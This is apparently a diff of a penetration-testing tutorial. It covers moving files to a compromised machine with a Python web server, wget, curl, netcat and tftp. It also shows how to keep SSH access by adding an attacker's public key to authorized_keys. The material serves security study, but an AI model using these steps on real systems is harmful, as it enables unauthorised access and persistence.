For the examples using curl and wget we need to download from a web-server. THis is an easy way to set up a web-server. This command will make the entire folder available on port 9999.
@@ -8,30 +8,34 @@ For the examples using curl and wget we need to download from a web-server. THi
python -m SimpleHTTPServer 9999
```
### Wget
## Wget
Now you can download any file with curl or wget
```
wget 192.168.1.102:9999/file.txt
```
### Curl
## Curl
```
curl -O http://192.168.0.101/file.txt
```
### Netcat
Another easy way is to use netcat.
## Netcat
Another easy way to transfer files is by using netcat.
If you can't have an interactive shell it might be risky to start listening on a on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do ctr-c because that will destroy your sessions.
So instead you can connect from the target machine like this.
If you have access to a ftp-client to can of course just use that.
### Tftp
## Tftp
On some rare machine we do not have access to nc and wget, and curl.. But we might have access to tftp. Some versions of tftp are run interactivly, like this:
On some rare machine we do not have access to nc and wget, and curl.. But we might have access to tftp. Some versions of tftp are run interactively, like this:
```
$ tftp 192.168.0.101
tftp> get myfile.txt
```
If we can't run it interactivly, for whatever reason, we can do this trick:
If we can't run it interactively, for whatever reason, we can do this trick:
If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.
So, in the /home/user dir you can find the hidden `.ssh` files by typing `ls -la`.
Then you need to do two things.
1. Create a new keypair.
1. Create a new keypair
You do that with:
```
ssh-keygen -t rsa -C "your_email@example.com"
@@ -105,15 +111,16 @@ then you enter a name for the key.
Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:`
Enter same passphrase again:
This will create two files, one called *nameOfMyKey* and another called *nameOfMyKey_pub*. The one with the *_pub* is of course your public key. And the other key is your private.
This will create two files, one called **nameOfMyKey** and another called **nameOfMyKey_pub**. The one with the *_pub* is of course your public key. And the other key is your private.
2. Add your public key to authorized_keys.
Now you copy the content of *nameOfMyKey_pub*.
Now you copy the content of **nameOfMyKey_pub**.
On the compromised machine you go to `~/.ssh` and then run add the public key to the file authorized_keys. Like this